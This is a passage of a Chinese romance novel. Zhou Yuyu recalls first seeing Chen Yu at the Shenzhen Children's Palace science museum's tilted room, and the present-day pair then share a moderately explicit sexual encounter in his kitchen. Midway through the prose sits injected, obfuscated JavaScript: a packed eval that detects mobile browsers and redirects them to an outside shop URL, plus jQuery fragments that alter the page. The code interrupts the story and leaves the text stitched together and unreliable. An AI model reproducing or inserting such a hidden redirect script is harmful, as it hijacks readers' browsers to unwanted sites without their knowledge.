她怎么会忘？
就是在那次饭局上，她才知道这个平日里一口标准普粤双语切换的男人，竟然也会讲客家话。
但此刻，看着他那抹理所当然的笑意，周予萂不禁疑惑：既然从小听到大，那为什么当年第一次见面时，他要装作听不懂？
思绪像被风吹乱的磁带，倒带回了那个夏天。
那天从“少年宫”地铁站出来，周予萂仰头望着眼前那座线条极具未来感的建筑，心底涌起了巨大的落差。
没有想象中的过山车和旋转木马，也没有五颜六色的摩天轮。红色斜坡上嵌着一颗银色球体，像外星遗落在地球的飞行器。
她跟着围观人群仰头观望，球幕影院里正放映着《生命礼赞》。画面恢弘壮阔，满屏都是晦涩难懂的知识，她看得似懂非懂，只觉得那个世界离自己很远，既神圣又陌生。
没看多久，表姐觉得枯燥无趣，领着他们往一楼大厅走，指着不远处的展厅入口问：“想坐能源小火车吗？就是要排很久的队。”
“想！想坐！”一旁的表弟早就被展厅门口的宣传海报吸引，兴奋得直点头。
他们顺着人流往队尾走。展厅入口处早已排起了蜿蜒的长龙，大多是带着孩子的家长，或是三五成群的学生。
在漫长的排队时光里，她不自觉地在人群中逡巡。那些穿着宽松蓝白校服、说着流利白话或普通话的同龄人，身上似乎都自带一种她所不具备的松弛感。
硬生生排了近一个小时，脚底板都站麻了。但来都来了，没人舍得中途离队。
好在坐上小火车的瞬间，所有疲惫都烟消云散。小火车一路穿梭于不同时代的能源场景中，从远古人类的钻木取火，到工业革命蒸汽机的轰鸣，再到现代核能与风能的流转，人类能源发展史以光影特效的形式在她眼前铺陈开来。
短短十分钟，周予萂眼睛都不舍得眨一下。她贪婪地记下每一个细节，想着回去要写进日记里，为将来写作文派上用场。
下车后，表姐一边领着他们往其他展厅走，一边介绍：“这里可是国内首家免费开放的科技馆，有七个主题展厅，慢慢逛能玩一下午。”
当时的周予萂刚念完初二，在她就读的那所乡镇中学里，连地球仪都得老师自行购买了才有，更别提三棱镜、鼓风机、声控灯光这类互动装置。
那里的一切对她而言都很新奇，每到一处，她都忍不住放慢脚步，小心翼翼地触碰那些高科技。
而最让她印象深刻的，是那座“倾斜的房子”。
刚踏进那间屋子，周予萂瞬间觉得浑身发飘，脚下像踩了团棉花，重心完全失控。身旁的表弟没站稳，踉跄着往她身上撞来，她伸手搀了一把，自己却被带得一个趔趄，慌乱中扶住墙面才勉力站定。
正低头喘着气，平复着那股晕眩感，目光恰好落在展台上，一颗小球正违背常理地从低处往高处滚动。
“这是视错觉。”
一道清冽干净的少年音忽然在身侧响起，语气淡得没什么起伏，“地心引力和坡面倾斜角度制造的假象。看着像往上滚，其实它还是顺着重力往下走的。”
周予萂回头望，撞进眼帘的，正是那个穿着蓝白校服、身形清瘦挺拔的少年，他的同伴叫他陈屿。
他手捏着一本薄薄的科普手册，没有翻开，只是随意夹在指尖，正给身旁的一个小男孩解释原理。
那小男孩大概五六岁，被晕得东倒西歪，苦着脸仰头问：“哥哥，那我站在这里好晕啊，怎么才能保持平衡，不晕呢？”
陈屿直起身，垂眸看着小孩，面无表情地吐出两个字：“出去。”
“噗——”
周予萂实在没忍住，笑声从指缝里漏了出来。本以为环境嘈杂没人听见，却不想下一秒，那道清冷的目光便猝不及防地扫了过来。
四目相对。
少年的眼神里没有被嘲笑的恼怒，反而带着一丝被打断的探究。
周予萂的心跳漏了一拍，脸颊瞬间爆红，像个做坏事被当场抓包的小偷，慌乱地避开视线，低着头匆匆挤出人群逃走了。
那天下午，电磁火箭、龙卷风演示、留影墙、三色光原理……她挨个体验了一遍，把每一个细节都郑重其事地写进了日记里。
可直到落笔时她才发现，那个关于“倾斜的房子”的记录，占据了最长的篇幅。
多年后的此刻，车窗外的风景飞速倒退。
周予萂收回飘远的思绪，偏头看向身旁专注开车的陈屿，忽然问道：“哎，你说深圳少年宫什么时候能改造好？我还想再去看看那座倾斜的房子呢。”
对于童年泡在少年宫长大的深圳孩子来说，那个地方承载了太多回忆，陈屿也不例外。
他握着方向盘的手指轻点，随口道：“不知道，封馆好几年了吧。不过真改造好了，应该也不会保留那些鸡肋的装置了吧？那玩意儿骗骗小孩还行，又没什么技术含量。”
“鸡肋。”周予萂咀嚼着这个词，嘴角那点原本因怀旧而泛起的笑意，一点点地淡了下去。
是啊，鸡肋。
对他这样见惯了世面的城市少年而言，那些装置不过是触手可及、甚至早已玩腻了的日常消遣，是没什么技术含量的过时玩具。
可对于当年的周予萂来说，那是她贫瘠世界里炸开的一朵烟花，是她第一次触碰到广阔世界的惊鸿一瞥。
人与人之间的悲欢并不相通，往往只因为触达的门槛不同，便生出了完全不同的注解。他对那些曾被她奉为神迹的技术不屑一顾，毕竟在他的生活里，那些东西唾手可得。
周予萂看着他完美的侧脸，没有反驳，也没有流露出丝毫的自卑。毕竟，如今的她也早已不是坐个小火车都舍不得眨眼的小女孩了。她见过更广阔的天地，理性告诉她，从技术迭代的角度看，他的评价客观且精准。
于是，她将那些翻涌的情绪不动声色地压回心底，轻声附和了一句：“确实，对于现在的技术环境来说，那些装置实在有点落后了。”
回深的路上，沈海高速和水官高速堵成了一锅粥，红色的尾灯连成了一条不见首尾的长龙。陈屿没有把她送回龙岗，而是一路驱车到了福田。
到他家时，已是晚上八点。
周予萂坐在沙发上，跟外婆弹了个视频报平安。余光里，陈屿正挽起袖子，弯腰将从老家带回来的土特产，那些层层包裹的土鸡蛋、扣肉、青菜、肉丸，一样样整齐地码进双开门冰箱里。
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17410522|200667||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
挂断视频，她顺手将手机扔在一旁，起身走到厨房门口，倚着门框看他：“刚才我外婆说，你那个红包实在太厚了。老人家拆开一看吓了一跳，说平时儿女们给红包顶多两千，从没收过这么大的。她说这些扣肉鸡蛋，多少都不够还你这份人情。”
“不用还。”
陈屿合上冰箱门，转身拍开水龙头。水流哗哗作响，他低头洗手，声音混在水声里，“这次去得匆忙，没备什么礼，我还嫌给少了。你的外婆就是我的外婆，我们不必划分那么清楚。”
话音刚落，他关掉水流。
还没等周予萂反应过来，他便转过身，湿漉漉的指尖就这样捏住了她的下巴，指腹轻轻擦过她的下唇，微凉的触感激得周予萂一颤。
下一秒，他低下头，含住了她的红唇。
周予萂抵着牙关，本能地想要后退。但陈屿耐心十足，没有急着攻城略地，只是含着她的唇瓣细细描摹、吮吸。
这种温吞又坚定的攻势最能瓦解防线。等她开始回应他，陈屿的手蓦然收紧，一把扣住她的腰，将她整个人提向自己。两人严丝合缝地贴在一起，体温透过薄薄的衣料互相传递、攀升。
周予萂紧绷的脊背软了下来，双手不知何时攀上了他的后腰，指尖攥紧了他衬衫的衣角。
察觉到她的顺从，陈屿的吻也变了调。原本的温柔化作狂风暴雨般的掠夺，他托住她的腰身，稍一用力，直接将她抱起，放在了身后的流理台上。
高度差让周予萂被迫仰起头，承受他更深更重的索取。长裙随着动作摩擦上卷，堆叠在大腿根侧。他挤入她腿间，握住腰身顶了几下，周予萂一颤，喉间溢出一声呜咽，隐秘处瞬时迸出些许湿意。
就在理智即将崩断的瞬间。
“叮咚——叮咚——”
突兀而急促的门铃声响起，生生割裂了厨房里的旖旎。
周予萂心口剧烈起伏，呼吸乱得一塌糊涂。她如梦初醒，慌乱地伸手抵住他的额头，试图推开他。
陈屿埋首在她身前，重重地喘息了几声，低骂了一声：“操。”
他维持着拥抱的姿势平复了片刻，才不情不愿地抬起头。那双沉黑的眼眸里欲色未褪，像翻涌着深海的暗流。
他抵着她的额头，鼻尖亲昵地蹭了蹭她的鼻尖，嗓音因为极力压抑而格外性感：“饿不饿？你是想先吃外卖，还是...我？”
他刻意拖慢了语调，带着明晃晃的色气。
周予萂没想到他会面不改色地说这种骚话，满脸通红。理智上的矜持不允许她顺着本能回答：想要你，可身体的反应却诚实得可怕。
“外卖。”
人在尴尬的时候是很忙的。周予萂闪躲着眼神，不敢看他那双仿佛能吸人的眼睛。她胡乱地将散落的碎发别到耳后，双手抵在他的肩膀上，挣扎着想要从流理台上跳下来，“你先去开门。”
然而双脚刚一沾地，一阵不受控的酸软瞬间袭来。她身形一晃，膝盖一软，险些没站稳跌坐下去。
头顶传来一声愉悦的低笑。
陈屿长臂一捞，像抱小孩似的，轻轻松松将她整个人托了起来，让她双腿盘在自己腰上，大步流星地抱着人朝沙发走去。